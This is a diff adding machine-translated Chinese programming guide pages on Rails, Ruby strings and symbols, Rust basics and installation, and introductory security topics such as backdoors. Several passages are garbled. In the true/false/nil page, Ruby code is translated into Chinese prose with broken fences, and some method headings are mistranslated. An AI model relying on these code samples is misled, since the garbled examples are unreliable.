+| config / |配置应用程序的路由，数据库等。配置Rails应用程序中将对此进行更详细的介绍。 |  
+| config.ru |用于启动应用程序的基于机架的服务器的机架配置。 |  
+| db / |包含当前数据库架构以及数据库迁移。 |  
+| Gemfile，Gemfile.lock |这些文件允许您指定Rails应用程序所需的gem依赖项。这些文件由Bundler gem使用。有关Bundler的更多信息，请参阅Bundler网站。 |  
+| lib / |适合您应用的扩展模块。 |  
+| log / |应用程序日志文件|  
+|公共/ |世界上唯一看到的文件夹。包含静态文件和编译资产。 |  
+| Rakefile |此文件定位并加载可从命令行运行的任务。任务定义都是在Rails的各个组件中定义的。您应该通过将文件添加到应用程序的lib / tasks目录来添加自己的任务，而不是更改Rakefile。 |  
+| README.md |这是您的应用程序的简要说明手册。您应该编辑此文件以告诉其他人您的应用程序的功能，如何设置，等等。 |  
+|测试/ |单元测试，固定装置和其他测试设备。这些在测试Rails应用程序中介绍。 |  
+| tmp / |临时文件（如缓存和pid文件）。 |  
+|供应商/ |所有第三方代码的地方。在典型的Rails应用程序中，这包括销售的宝石。 |  
+| .gitignore |该文件告诉git它应该忽略哪些文件（或模式）。有关忽略文件的详细信息，请参阅Github - 忽略文件。 |
+
+开始使用这个令人敬畏的框架的好地方是阅读他的[入门页面](http://guides.rubyonrails.org/getting_started.html) 。
+
+## 约定优于配置
+
+_约定优于配置_意味着开发人员只需要指定应用程序的非常规方面。例如，如果模型中有类`Sale` ，则默认情况下，数据库中的相应表称为`sales` 。只有当一个人偏离这个约定时，例如调用表“售出的产品”，开发人员才需要编写有关这些名称的代码。通常，Ruby on Rails约定导致更少的代码和更少的重复。
+
+## 什么是MVC？
+
+模型（活动记录）包含业务逻辑并与数据库交互。 视图（Action视图）所有HTML文件和结构。 控制器（动作控制器）与视图和模型交互以指导应用程序的动作。
+
+## 干 - 不要重复自己
+
+_不要重复自己_意味着信息位于一个明确的地方。例如，使用Rails的ActiveRecord模块，开发人员不需要在类定义中指定数据库列名。相反，Ruby on Rails可以根据类名从数据库中检索此信息。
+
+## Ruby on Rails是开源的
+
+它不仅可以免费使用，还可以帮助它变得更好。超过4500人已经为[Rails](https://github.com/rails/rails)贡献了代码。比你想象的更容易成为其中之一。
\ No newline at end of file
diff --git a/client/src/guide/chinese/ruby/ruby-string-interpolation/index.md b/client/src/guide/chinese/ruby/ruby-string-interpolation/index.md
new file mode 100644
index 0000000000..c9f7586f8b
--- /dev/null
+++ b/client/src/guide/chinese/ruby/ruby-string-interpolation/index.md
@@ -0,0 +1,31 @@
+---
+title: Ruby String Interpolation
+localeTitle: Ruby String Interpolation
+---
+# 字符串插值
+
+字符串插值为构建字符串提供了更易读和简洁的语法。您可能熟悉通过`+`或`<<`方法连接：
+
+```ruby
+"Hello " + "World!" #=> Hello World 
+ "Hello " << "World!" #=> Hello World 
+```
+
+字符串插值提供了一种将Ruby代码直接嵌入字符串的方法：
+
+```ruby
+place = "World" 
+ "Hello #{place}!" #=> Hello World! 
+ 
+ "4 + 4 is #{4 + 4}" #=> 4 + 4 is 8 
+```
+
+`#{`和`}`之间的所有内容都被评估为Ruby代码。为此，字符串必须用双引号（ `"` ）括起来。
+
+单引号将返回引号内的确切字符串：
+
+```ruby
+place = "World" 
+ 'Hello #{place}!' #=> Hello #{place}! 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/ruby/ruby-string-methods/index.md b/client/src/guide/chinese/ruby/ruby-string-methods/index.md
new file mode 100644
index 0000000000..0022c8bf2c
--- /dev/null
+++ b/client/src/guide/chinese/ruby/ruby-string-methods/index.md
@@ -0,0 +1,154 @@
+---
+title: Ruby String Methods
+localeTitle: Ruby字符串方法
+---
+## Ruby字符串方法
+
+Ruby有许多内置的方法来处理字符串。默认情况下，Ruby中的字符串是可变的，可以在适当的位置更改，也可以从方法返回新的字符串。
+
+### 长度：
+
+*   `.length`属性返回包含空格的字符串中的字符数。 `ruby "Hello".length #=> 5 "Hello World!".length #=> 12`
+
+### 空：
+
+*   `.empty?`如果字符串的长度为零，则method返回`true` 。 `ruby "Hello".empty? #=> false "!".empty? #=> false " ".empty? #=> false "".empty? #=> true`
+
+### 计数：
+
+*   `.count`方法计算在字符串中找到特定字符的次数。
+*   此方法区分大小写。 `ruby "HELLO".count('L') #=> 2 "HELLO WORLD!".count('LO') #=> 1`
+
+### 插入：
+
+*   `.insert`方法在给定索引之前将字符串插入另一个字符串。 `ruby "Hello".insert(3, "hi5") #=> Helhi5lo # "hi5" is inserted into the string right before the second 'l' which is at index 3`
+
+### Upcase：
+
+*   `.upcase`方法将字符串中的所有字母转换为大写。 `ruby "Hello".upcase #=> HELLO`
+
+### Downcase：
+
+*   `.downcase`方法将字符串中的所有字母转换为小写。 `ruby "Hello".downcase #=> hello`
+
+### 的swapCase
+
+*   `.swapcase`方法将字符串中的大写`.swapcase`转换为小写，将小写字母转换为大写。 `ruby "hELLO wORLD".swapcase #=> Hello World`
+
+### 大写：
+
+*   `.capitalize`方法使字符串中的第一个字母为大写，字符串的其余部分为小写。 `ruby "HELLO".capitalize #=> Hello "HELLO, HOW ARE YOU?".capitalize #=> Hello, how are you?`
+
+_请注意，如果第一个字母位于字符串的开头，则仅大写。_ `ruby "-HELLO".capitalize #=> -hello "1HELLO".capitalize #=> 1hello`
+
+### 相反：
+
+*   `.reverse`方法反转字符串中字符的顺序。 `ruby "Hello World!".reverse #=> "!dlroW olleH"`
+
+### 分裂：
+
+*   `.split`接受一个字符串并将其_拆分_为一个数组，然后返回该数组。
+    
+    ```ruby
+    "Hello, how are you?".split #=> ["Hello,", "how", "are", "you?"] 
+    
+    ```
+    
+*   默认方法基于空格拆分字符串，除非提供了不同的分隔符（请参阅第二个示例）。 `ruby "Hello".split('-') #=> ["H", "e", "l", "l", "o"]`
+    
+
+### 劈：
+
+*   `.chop`方法删除字符串的最后一个字符。
+    
+*   除非使用`.chop!` ，否则返回一个新字符串`.chop!`改变原始字符串的方法。
+    
+    ```ruby
+    "Name".chop #=> Nam 
+    
+    ```
+    
+    ```ruby
+    name = "Batman" 
+     name.chop 
+     name == "Batma" #=> false 
+    
+    ```
+    
+    ```ruby
+    name = "Batman" 
+     name.chop! 
+     name == "Batma" #=> true 
+    
+    ```
+    
+
+### 跳闸：
+
+*   `.strip`方法删除字符串上的前导和尾随空格，包括制表符，换行符和回车符（ `\t` ， `\n` ， `\r` `\n` `\r` ）。 `ruby " Hello ".strip #=> Hello`
+
+### 格格：
+
+*   `.chomp`方法删除字符串中的最后一个字符，只有它是回车符或换行符（ `\r` ， `\n` ）。
+*   此方法通常与`gets`命令一起使用，以从用户输入中删除返回。 ``ruby "hello\r".chomp #=> hello "hello\t".chomp #=> hello\t # because tabs and other whitespace remain intact when using `chomp` ``
+
+### 整数：
+
+*   `.to_i`方法将字符串转换为整数。 `ruby "15".to_i #=> 15 # integer`
+
+### GSUB：
+
+*   `gsub`替换字符串上第二个参数的第一个参数的每个引用。
+
+```ruby
+"ruby is cool".gsub("cool", "very cool") #=> "ruby is very cool" 
+```
+
+*   `gsub`也接受模式（如_regexp_ ）作为第一个参数，允许以下内容：
+
+```ruby
+"ruby is cool".gsub(/[aeiou]/, "*") #=> "r*by *sc**l" 
+```
+
+### 级联：
+
+*   Ruby实现了一些方法来将两个字符串连接在一起：
+    
+*   `+`方法：
+    
+    ```ruby
+    "15" + "15" #=> "1515" # string 
+    
+    ```
+    
+*   `<<`方法：
+    
+    ```ruby
+    "15" << "15" #=> "1515" # string 
+    
+    ```
+    
+*   `concat`方法： `ruby "15".concat "15" #=> "1515" # string`
+    
+
+### 指数：
+
+*   `index`方法返回字符串中子字符串或正则表达式模式匹配的第一个出现的索引位置。
+    
+*   如果找不到匹配项，则返回`nil` 。
+    
+*   第二个可选参数指示字符串中的哪个索引位置开始搜索匹配。
+    
+    ```ruby
+    "information".index('o') #=> 3 
+     "information".index('mat') #=> 5 
+     "information".index(/[abc]/) #=> 6 
+     "information".index('o', 5) #=> 9 
+     "information".index('z') #=> nil 
+    
+    ```
+    
+
+### 明确：
+
+*   删除字符串内容。 `ruby a = "abcde" a.clear #=> ""`
\ No newline at end of file
diff --git a/client/src/guide/chinese/ruby/ruby-string-operations/index.md b/client/src/guide/chinese/ruby/ruby-string-operations/index.md
new file mode 100644
index 0000000000..65cd4320fd
--- /dev/null
+++ b/client/src/guide/chinese/ruby/ruby-string-operations/index.md
@@ -0,0 +1,51 @@
+---
+title: Ruby String Operations
+localeTitle: Ruby字符串操作
+---
+连接和乘法都可以在字符串上执行。
+
+## 级联：
+
+*   可以使用以下任何方法将字符串连接在一起：
+    
+    *   `+`运算符
+    *   `<<`运营商
+    *   `.concat`方法
+    
+    ```ruby
+    "Hello" + " World" + "!"  #=> Hello World! 
+    
+    ```
+    
+    ```ruby
+    "Hello" << " World!" #=> Hello World! 
+    
+    ```
+    
+    ```ruby
+    string1 = "Hello" 
+     string2 = " World!" 
+     string1.concat(string2) #=> Hello World! 
+    
+    ```
+    
+
+## 乘法：
+
+*   可以使用`*`运算符将字符串乘以整数值。 `ruby "Hello" * 3 #=> HelloHelloHello`
+
+## 替换子字符串
+
+*   我们可以搜索子字符串或使用Regex搜索和替换字符串中的字符。 `ruby "Hey mom, look at this string".sub('mom', 'dad') #=> Hey dad, look at this string`
+
+## 比较：
+
+*   可以比较字符串，返回-1,0，+ 1或nil，具体取决于字符串是否小于，等于或大于other\_string。
+
+```ruby
+"abcdef" <=> "abcde"     #=> 1 
+ "abcdef" <=> "abcdef"    #=> 0 
+ "abcdef" <=> "abcdefg"   #=> -1 
+ "abcdef" <=> "ABCDEF"    #=> 1 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/ruby/ruby-symbols/index.md b/client/src/guide/chinese/ruby/ruby-symbols/index.md
new file mode 100644
index 0000000000..154da420a9
--- /dev/null
+++ b/client/src/guide/chinese/ruby/ruby-symbols/index.md
@@ -0,0 +1,129 @@
+---
+title: Ruby Symbols
+localeTitle: Ruby符号
+---
+## Ruby符号
+
+符号看起来像变量名称，但它以冒号为前缀。示例 - ：action，：line\_items。您不必预先声明符号，并保证它们是唯一的。没有必要为符号分配某种值 - Ruby会为您处理这些问题。 Ruby还保证无论程序中出现何种位置，特定符号都具有相同的值。
+
+或者，你可以认为冒号是指“命名的东西”所以：id是“名为id的东西”。您还可以想到：id表示变量id的名称，而plain id表示变量的值。
+
+例如：因此，如果Fred是一个上下文中的常量，另一个中的方法，以及第三个中的类，则Symbol：Fred将是所有三个上下文中的同一个对象。
+
+```ruby
+module One 
+  class Fred 
+  end 
+  $f1 = :Fred 
+ end 
+ module Two 
+  Fred = 1 
+  $f2 = :Fred 
+ end 
+ def Fred() 
+ end 
+ $f3 = :Fred 
+ $f1.object_id   #=> 2514190 
+ $f2.object_id   #=> 2514190 
+ $f3.object_id   #=> 2514190 
+```
+
+## 使用符号
+
+您可以识别Ruby符号，因为它将是一个以：开头的单词。
+
+到目前为止，我们已经将它们视为Hash中的关键（使用Ruby中的哈希）：
+
+```ruby
+person = {:name => "Philip"} 
+```
+
+所以我们要做的第一件事就是检查一个Symbol，看看它使用的是什么类：
+
+```ruby
+:hello.class 
+ => Symbol 
+ 
+ "hello".class 
+ => String 
+```
+
+所以我们可以看到符号和字符串是两个不同对象的实例。
+
+您可以调用类似String的方法，例如`upcase` ， `downcase`和`capitalize`符号：
+
+```ruby
+:hello.upcase 
+ => :HELLO 
+ 
+ :HELLO.downcase 
+ => :hello 
+ 
+ :hello.capitalize 
+ => :Hello 
+```
+
+## 为什么要使用Symbol而不是String？
+
+因此，如果一个符号只是一个不可变的字符串，为什么要使用它，为什么在Ruby中有一个特殊的区别？
+
+## 符号是不可改变的
+
+首先，其中一个重要原因是，如上所述，符号是不可变的。当值可能发生变化时，应用程序中会出现无法预料的错误。如果您需要确保对象的值永远不会改变，那么使用不可变对象会更安全。
+
+但是，话虽如此，可以通过调用`freeze`方法在Ruby中使String不可变：
+
+```ruby
+name = "Philip" 
+ => "Philip" 
+ 
+ name.freeze 
+ => "Philip" 
+ 
+ name << "Jim" 
+ RuntimeError: can't modify frozen String 
+```
+
+正如您在上面的示例中所看到的，一旦在String实例上调用freeze方法，就无法再对其进行修改。
+
+那么为什么你会使用Symbols而不是字符串呢？
+
+#### 符号性能更好
+
+在某些情况下，在字符串上使用符号的第二个原因是因为符号性能要好得多。
+
+例如：
+
+```ruby
+philip".object_id 
+ => 70288511587360 
+ "philip".object_id 
+ => 70288504327720 
+ 
+ :philip.object_id 
+ => 539368 
+ :philip.object_id 
+ => 539368 
+```
+
+当您创建具有相同值的两个String对象时，这两个对象将被视为两个不同的对象。创建符号时，引用符号将始终使用相同的对象。
+
+这对于性能来说要好得多，因为同一个String对象将被反复创建和销毁，而实际上每次都可以重复使用相同的对象。
+
+#### 公共课堂方法
+
+all\_symbols =>数组单击以切换源 返回当前Ruby符号表中所有符号的数组。
+
+```ruby
+Symbol.all_symbols.size    #=> 903 
+ Symbol.all_symbols[1,20]   #=> [:floor, :ARGV, :Binding, :symlink, 
+                                :chown, :EOFError, :$;, :String, 
+                                :LOCK_SH, :"setuid?", :$<, 
+                                :default_proc, :compact, :extend, 
+                                :Tms, :getwd, :$=, :ThreadGroup, 
+                                :wait2, :$>] 
+```
+
+#### 更多信息：
+
+[Ruby符号文档](http://ruby-doc.org/core-2.5.1/Symbol.html)
\ No newline at end of file
diff --git a/client/src/guide/chinese/ruby/true-false-nil/index.md b/client/src/guide/chinese/ruby/true-false-nil/index.md
new file mode 100644
index 0000000000..55aa6091a4
--- /dev/null
+++ b/client/src/guide/chinese/ruby/true-false-nil/index.md
@@ -0,0 +1,39 @@
+---
+title: True, False, and Nil
+localeTitle: 真，假，没有
+---
+# 真，假，没有
+
+`true` ， `false`和`nil`是Ruby中特殊的内置数据类型。这些关键字中的每一个都评估为一个对象，该对象是其各自类的唯一实例。
+
+```ruby
+true.class 
+ => TrueClass 
+ false.class 
+ => FalseClass 
+ nil.class 
+ => NilClass 
+ ``` 
+ 
+ `true` and `false` are Ruby's native boolean values. A boolean value is a value that can only be one of two possible values: true or not true. The object `true` represents truth, while `false` represents the opposite. You can assign variables to `true` / `false`, pass them to methods, and generally use them as you would other objects (such as numbers, Strings, Arrays, Hashes). 
+ 
+ `nil` is a special value that indicates the absence of a value: it is Ruby's way of referring to "nothing". An example of when you will encounter the `nil` object is when you ask for something that doesn't exist or cannot be found: 
+```
+
+红宝石 帽子= \[“beret”，“sombrero”，“beanie”，“fez”，“flatcap”\]
+
+帽子\[0\] =>“贝雷帽”＃索引0处的帽子 帽子\[2\] =>“豆豆”＃索引2处的帽子 帽子\[4\] =>“flatcap”＃索引4处的帽子 帽子\[5\] => nil＃在索引5处没有帽子，索引5没有任何内容（零）
+```
+Zero is not nothing (it's a number, which is something). Likewise, empty strings, arrays, and hashes are not nothing (they are objects, which happen to be empty). You can call the method `nil?` to check whether an object is nil. 
+```
+
+红宝石 0.nil？ =>假 ““。零？ =>假 \[\]。零？ =>假 {}。零？ =>假 nil.nil？ =>是的 ＃来自上面的例子 帽子\[5\] .nil？ =>是的 \`\`\`
+
+Ruby中的每个对象都有一个布尔值，这意味着它在布尔上下文中被认为是true或false。在这种情况下被认为是真实的是“真实的”，那些被认为是虚假的是“虚假的”。在Ruby中， _只有_ `false`和`nil`是“ `false`的”，其他一切都是“真实的”。
+
+### 其他资源
+
+*   https://ruby-doc.org/core-2.3.0/TrueClass.html
+*   https://ruby-doc.org/core-2.3.0/FalseClass.html
+*   https://ruby-doc.org/core-2.3.0/NilClass.html
+*   https://en.wikipedia.org/wiki/Boolean
\ No newline at end of file
diff --git a/client/src/guide/chinese/rust/data-types/index.md b/client/src/guide/chinese/rust/data-types/index.md
new file mode 100644
index 0000000000..ab073f13bb
--- /dev/null
+++ b/client/src/guide/chinese/rust/data-types/index.md
@@ -0,0 +1,88 @@
+---
+title: Rust Data Types
+localeTitle: Rust数据类型
+---
+理解编程语言的类型系统对于开始编写程序至关重要。类型系统只是一种编程语言强制您将信息存储在数据中的系统。如果您是来自C / C ++的开发人员，那么您可能已经熟悉了其中一些数据类型。
+
+让我们看看Rust的原始类型
+
+* * *
+
+当我们看Rust时，我们会看到一种更注重**类型安全的语言** 。这意味着交互和处理程序员如何存储数据，编译器更加严格和不可原谅。我们将通过**警告**介绍一个例子（我们将很快看到）。
+
+Rust也是一种静态类型的编程语言。这意味着在编译程序时（也称为_编译时_ ），必须知道变量的类型。 Rust可以选择提供_隐式_或_显式_类型。
+
+### 整型
+
+让我们通过声明一个简单的整数来看看_隐式_或_显式_类型是如何工作的。
+```
+let number = 13; 
+```
+
+我们声明我们的变量， `number`等于13的值。当我们编译它时，Rust知道数字的类型是`i32` ，也称为32位整数。如果我们想_明确_地这样做，我们可以将变量声明为：
+```
+let number: i32 = 13; 
+```
+
+当然， `i32`不是我们可以指定的唯一类型。这是您可以实现的其他`integer`类型的表。请记住，这些是_固定大小的_ ，与该类型对应的位数是可以存储在该变量中的位数。
+
+|尺寸|签名|无符号| | ----- | ---- | --- | | 8位| i8 | u8 | | 16位| i16 | u16 | | 32位| i32 | u32 | | 64位| i64 | u64 |
+
+Signed（ `i` prepend）和unsigned（ `u` prepend）分别表示我们声明的变量是正数还是负数。
+
+Rust还有`isize`和`usize`类型，这取决于您的计算机架构。如果您使用的是64位体系结构，则将拥有64位变量。如果您使用的是32位体系结构，则将拥有32位变量。
+
+### 花车
+
+Rust还支持浮点值或十进制值。
+```
+let floaty = 3.0; // type is f64 
+```
+
+变量`floaty`被隐式声明为`f64`类型或64位浮点数。如果你想要一个`f32` ，你可以通过显式来强制变量，或者将类型附加到变量值的结尾：
+```
+let float1: f32 = 4.5; // type is f32 
+ let float2 = 5f32;   // type is f32 
+```
+
+你可以看到`float2`现在是`f32` ，即使它有一个非十进制值。通过附加`f32` ，我们强制`float2`表示`f32`类型。
+
+## 布尔
+
+在每种编程语言中，布尔值（ `true`和`false` ）总是以某种形式出现。 Rust通过`bool`类型支持这一点。
+```
+let t = true; 
+ let f: bool = false; 
+```
+
+## 数值运算
+
+话虽如此，我们现在可以使用Rust来执行简单的数值运算。请注意类型仅限于使用自己的类型进行计算。
+```
+let a = 4 + 5;        // => 9 
+ let b = 5.0 - 4.0;    // => 1.0 
+ let c = 3 * 4.0;      // => ERROR! 
+ let d = 6.0 / 2.0;    // => 3.0 
+ let e = 10 % 4;       // => 2 
+```
+
+## 警告！
+
+让我们看一下Rust中已经存在的一些潜在问题。由于有效地利用数据并确保实际使用的是我们创建的变量，因此Rust会对未使用的变量发出警告：
+```
+fn main(){ 
+  let a = 4; 
+  // and now we close our program. 
+ } 
+```
+
+现在如果我们运行这个程序：
+```
+warning: unused variable: `a` 
+```
+
+重要的是要记住始终使用我们的变量，如果没有，请将它们注释掉或删除它们！
+
+## 阅读更多：
+
+https://doc.rust-lang.org/book/second-edition/ch03-02-data-types.html
\ No newline at end of file
diff --git a/client/src/guide/chinese/rust/hello-world/index.md b/client/src/guide/chinese/rust/hello-world/index.md
new file mode 100644
index 0000000000..c3a8ec62b6
--- /dev/null
+++ b/client/src/guide/chinese/rust/hello-world/index.md
@@ -0,0 +1,53 @@
+---
+title: Hello World
+localeTitle: 你好，世界
+---
+## 你好Rust
+
+编写第一个Rust程序就像安装它一样简单。在您选择的项目目录中，创建一个名为`main.rs`的新源文件。重要的是要注意Rust文件总是以`.rs`扩展名结尾，而带有多个单词的文件名用下划线分隔。例如， `helloworld.rs`将成为`hello_world.rs` 。
+
+创建`main.rs` ，在以下代码中添加以下代码：
+
+```rust
+fn main() { 
+    println!("Hello, world!"); 
+ } 
+```
+
+哇！这很容易，不是吗？在你的新`main.rs`文件中，以下是真的：
+
+*   第一行`fn main()`表示Rust中的一个_函数_ 。 `main`功能是特殊的，它是每个可执行的Rust程序调用的第一件事。
+*   第二行`println!("Hello, world!")`正在调用Rust _宏_ ，传递一个_字符串_作为它的第一个参数。此行打印字符串“Hello，world！”到终点站。你可以通过观察来判断你是在调用Rust _宏_还是_函数_ `!` 。
+
+要执行该程序，必须先编译它：
+
+```bash
+$ rustc main.rs 
+```
+
+此过程将在同一目录中创建一个可执行文件，然后您可以运行该目录：
+
+```bash
+$ ./main 
+ Hello, world! 
+```
+
+恭喜！你刚刚编写了自己的Rust程序！
+
+## 你好货物
+
+Cargo是安装Rust时随附的Rust构建工具，可用于许多事情。在这里，我们将看到使用货物的替代方法。
+
+首先导航到项目的父目录并运行`cargo new hello_world` 。这将创建我们的`hello_world`项目目录，里面有一些文件，那些是`Cargo.toml` ，告诉`cargo`如何构建你的项目，以及`src/main.rs`这是我们的Rust源文件。如果您打开此文件，您将看到已生成一些代码，以便我们运行hello world！所以，让我们这样做。
+
+要使用货物运行程序，就像在项目目录中运行`cargo run`一样简单，它应该如下所示：
+
+```bash
+cargo run 
+   Compiling hello_world v0.1.0 
+    Finished dev [unoptimized + debuginfo] target(s) in 1.31s 
+     Running `target/debug/hello_world` 
+ Hello, world! 
+```
+
+伟大的工作，你现在有更多的工具供您使用！
\ No newline at end of file
diff --git a/client/src/guide/chinese/rust/index.md b/client/src/guide/chinese/rust/index.md
new file mode 100644
index 0000000000..75abbffb99
--- /dev/null
+++ b/client/src/guide/chinese/rust/index.md
@@ -0,0 +1,55 @@
+---
+title: Rust
+localeTitle: 锈
+---
+# 锈
+
+## 介绍
+
+Rust是一种系统编程语言，专注于三个目标：安全性，速度和并发性。它的设计允许您创建具有低级语言性能和控制的程序，但具有强大的高级语言抽象。这些属性使Rust适合那些具有C语言经验并且正在寻找更安全的替代方案的程序员，以及那些正在寻找编写性能更好而不牺牲表现力的代码的Python语言的程序员。 Rust在编译时运行其大部分安全检查和内存管理决策，因此您的程序的运行时性能不会受到影响。这使得它在许多其他语言不擅长的用例中很有用：具有可预测空间和时间要求的程序，嵌入其他语言以及编写低级代码，如设备驱动程序和操作系统。也用于Web应用程序也为Rust包注册表站点[crates.io提供支持](https://www.crates.io) 。
+
+欲了解更多信息，请访问[Rust的主页](https://www.rust-lang.org) 。
+
+## 安装
+
+生锈的开发人员使您可以非常轻松地在系统上安装和管理生锈。这是通过工具`rustup`来实现的，它不仅可以安装防锈编译器`rustc` ，还可以在编译器的稳定版，测试版和夜间版之间轻松切换，并使它们保持最新状态。
+
+官方安装文档可以在[这里](https://doc.rust-lang.org/book/second-edition/ch01-01-installation.html)找到。
+
+### Linux或Mac
+
+如果您正在运行Linux或Mac，最好通过终端安装`rustup` ：
+
+```bash
+$ curl https://sh.rustup.rs -sSf | sh 
+```
+
+这将下载并运行安装该工具的机器的脚本。下次登录后，安装脚本会自动将Rust添加到系统`PATH` 。
+
+### 视窗
+
+在Windows上，转到[rustup网站](https://rustup.rs)并按照说明下载`rustup-init.exe` 。运行它并按照它给出的其他说明进行操作。
+
+### 更新
+
+一旦安装了`rustup` ，更新到更新的版本很简单。你需要运行的只是：
+
+```bash
+$ rustup update 
+```
+
+要查看生锈编译器的当前版本号，提交哈希值和提交日期，请运行以下命令：
+
+```bash
+$ rustc --version 
+ rustc xyz (abcabcabc yyyy-mm-dd) 
+```
+
+### 卸载
+
+从系统中卸载生锈就像安装它一样简单：
+
+```bash
+$ rustup self uninstall 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/rust/installing-rust/index.md b/client/src/guide/chinese/rust/installing-rust/index.md
new file mode 100644
index 0000000000..b132882de8
--- /dev/null
+++ b/client/src/guide/chinese/rust/installing-rust/index.md
@@ -0,0 +1,34 @@
+---
+title: Installing Rust
+localeTitle: 安装Rust
+---
# 安装Rust
+
+使用`rustup`是Rust安装的首选。 `rustup`为您的系统安装和管理Rust。
+
+## 在Windows中安装Rust
+
+访问[rustup网站](https://rustup.rs)并下载`rustup-init.exe` 。安装它然后你应该准备好了！
+
+## 在其他操作系统中安装Rust（Mac OS X，Linux，BSD，Unix）
+
+打开终端并输入以下命令：
+
+```sh
+curl https://sh.rustup.rs -sSf | sh 
+```
+
+这将获取`rustup`安装程序，然后获取您需要的所有内容。
+
+# 验证安装
+
+安装`rustup`将安装与rust相关的所有内容，但最重要的是这意味着安装编译器和包管理器。要验证是否已安装所有内容，请运行以下命令：
+
+```sh
+cargo version 
+```
+
+你现在可以使用Rust了！
+
+# 更多信息
+
+要了解有关安装过程的更多信息，请访问 https://www.rust-lang.org/en-US/install.html
\ No newline at end of file
diff --git a/client/src/guide/chinese/rust/loops/index.md b/client/src/guide/chinese/rust/loops/index.md
new file mode 100644
index 0000000000..19ac6fc694
--- /dev/null
+++ b/client/src/guide/chinese/rust/loops/index.md
@@ -0,0 +1,60 @@
+---
+title: Loops
+localeTitle: 循环
+---
+# 循环
+
+在Rust中，有三种本机循环机制： `loop` ， `while`和`for` 。
+
+## `loop`无限重复
+
+在Rust中， `loop`结构将不断地执行无限代码块（或者直到您明确告诉它停止）。
+
+这是一个使用`loop`来连续向终端打印“再次”一词的示例程序：
+
+```rust
+fn main() { 
+    loop { 
+        println!("again!"); 
+    } 
+ } 
+```
+
+## 条件循环与`while`
+
+除非我们为`loop`检查引入某种停止条件，否则上述机制不是很有用。幸运的是，Rust有一个内置的循环结构，称为`while` ，可以用来连续执行一段代码，同时条件成立。
+
+这是一个使用`while`从5开始倒计时的示例程序：
+
+```rust
+fn main() { 
+    let mut number = 5; 
+ 
+    while number != 0 { 
+        println!("{}", number); 
+        number = number - 1; 
+    } 
+ } 
+```
+
+在[这里](https://play.rust-lang.org/?gist=62677371a8590be27c84dcae7068de57&version=stable)运行代码。
+
+## 迭代通过集合与`for`
+
+在某些情况下，您可能希望迭代并操作集合的元素（例如数组）。虽然您可以使用`while`循环和索引变量来访问每个元素，但Rust提供了`for`循环以使此操作更容易。
+
+这是一个示例程序，使用`for`将数组中的每个数字打印到终端：
+
+```rust
+fn main() { 
+    let collection = [15, 7, 2, 6, 9]; 
+ 
+    for element in collection.iter() { 
+        println!("the value is: {}", element); 
+    } 
+ } 
+```
+
+在[这里](https://play.rust-lang.org/?gist=0c2acf21b96a81ebd411e4a7dc5a19fd&version=stable)运行代码。
+
+与C ++中的迭代器非常相似， `.iter()`函数返回`collection`的迭代器，然后可以循环访问每个`element` 。有关更多信息，请访问有关[控制流](https://doc.rust-lang.org/book/second-edition/ch03-05-control-flow.html)的Rust文档。
\ No newline at end of file
diff --git a/client/src/guide/chinese/security/backdoors/index.md b/client/src/guide/chinese/security/backdoors/index.md
new file mode 100644
index 0000000000..e712cfcc5c
--- /dev/null
+++ b/client/src/guide/chinese/security/backdoors/index.md
@@ -0,0 +1,22 @@
+---
+title: Backdoors
+localeTitle: 后门
+---
+## 后门
+
+软件或计算机系统中的后门通常是未记录的门户，允许管理员进入系统进行故障排除或维护。但它也指的是黑客和情报机构用来获取非法访问权的秘密门户网站。
+
+后门有多重含义。它可以指用于远程管理的系统或软件程序中嵌入的合法访问点。
+
+通常，这种后门是无证的，用于软件或系统的维护和维护。某些管理后门使用无法更改的硬编码用户名和密码进行保护;虽然有些人使用可以改变的凭证。通常，后门的存在对系统所有者来说是未知的，并且只有软件制造商知道。内置的管理后门在软件或系统中创建了一个漏洞，入侵者可以利用该漏洞获取对系统或数据的访问权限。
+
+攻击者还可以在目标系统上安装自己的后门。这样做可以让他们随意出入，并让他们远程访问系统。为此目的在系统上安装的恶意软件通常称为远程访问特洛伊木马或RAT，可用于在系统上安装其他恶意软件或泄露数据。
+
+2013年，当举报人爱德华·斯诺登（Edward Snowden）向国家媒体报道NSA文件时，间谍机构与英国GCHQ合作，长达数十年的努力，迫使各公司在他们的产品中安装后门，这种后门行为在2013年声名狼借。他们特别关注加密系统制造商的压力。这些秘密后门允许情报机构规避或破坏安全保护并秘密访问系统和数据。
+
+最具争议性的后门案例之一涉及美国国家安全局报告的有意削弱称为NIST SP800-90 Dual Ec Prng的加密算法的努力，以便使用该算法加密的任何数据都容易被NSA破解。
+
+### 更多信息：
+
+*   什么是后门： [Incapsula](https://www.incapsula.com/web-application-security/backdoor-shell-attack.html)
+*   后门文章： [维基百科](https://en.wikipedia.org/wiki/Backdoor_(computing))
\ No newline at end of file
diff --git a/client/src/guide/chinese/security/bug-bounties/index.md b/client/src/guide/chinese/security/bug-bounties/index.md
new file mode 100644
index 0000000000..4643073876
--- /dev/null
+++ b/client/src/guide/chinese/security/bug-bounties/index.md
@@ -0,0 +1,19 @@
+---
+title: Bug Bounties
+localeTitle: Bug Bounties
+---
+## Bug Bounties
+
+Bug赏金是公司设立的程序，旨在鼓励人们检查其产品是否存在漏洞。作为回报，这些公司为发现的漏洞提供现金奖励。
+
+### 赏金猎人的好处
+
+赏金猎人的好处相当简单。他们为他们找到的东西获得报酬并获得提高他们的技能
+
+### 对公司的好处
+
+赞助这些计划的公司可以获得以下好处：
+
+*   与典型的QA团队相比，他们产品上的许多人更容易发现更多的错误
+*   只需要为结果付费，而不是花费在寻找错误上的时间
+*   鼓励发现漏洞的人将其转交给公司而不是黑市。
\ No newline at end of file
diff --git a/client/src/guide/chinese/security/confidentiality-integrity-availability/index.md b/client/src/guide/chinese/security/confidentiality-integrity-availability/index.md
new file mode 100644
index 0000000000..85e3676ce7
--- /dev/null
+++ b/client/src/guide/chinese/security/confidentiality-integrity-availability/index.md
@@ -0,0 +1,70 @@
+---
+title: Confidentiality Integrity Availability
+localeTitle: 机密性完整性可用性
+---
+## 机密性，完整性，可用性（CIA）
+
+机密性，完整性和可用性或CIA三元组是网络安全中最基本的概念。它作为组织和个人信息安全的指导原则或目标，以保护信息免受窥探。
+
+### 保密
+
+保密性是指确保数据访问仅限于目标受众而非其他受众。正如您所料，信息越敏感，安全措施就越严格。许多隐私法依赖于机密性安全控制来强制执行法律要求。
+
+保持信息机密的一些措施是：
+
+*   加密
+*   密码
+*   双因素身份验证
+*   生物识别
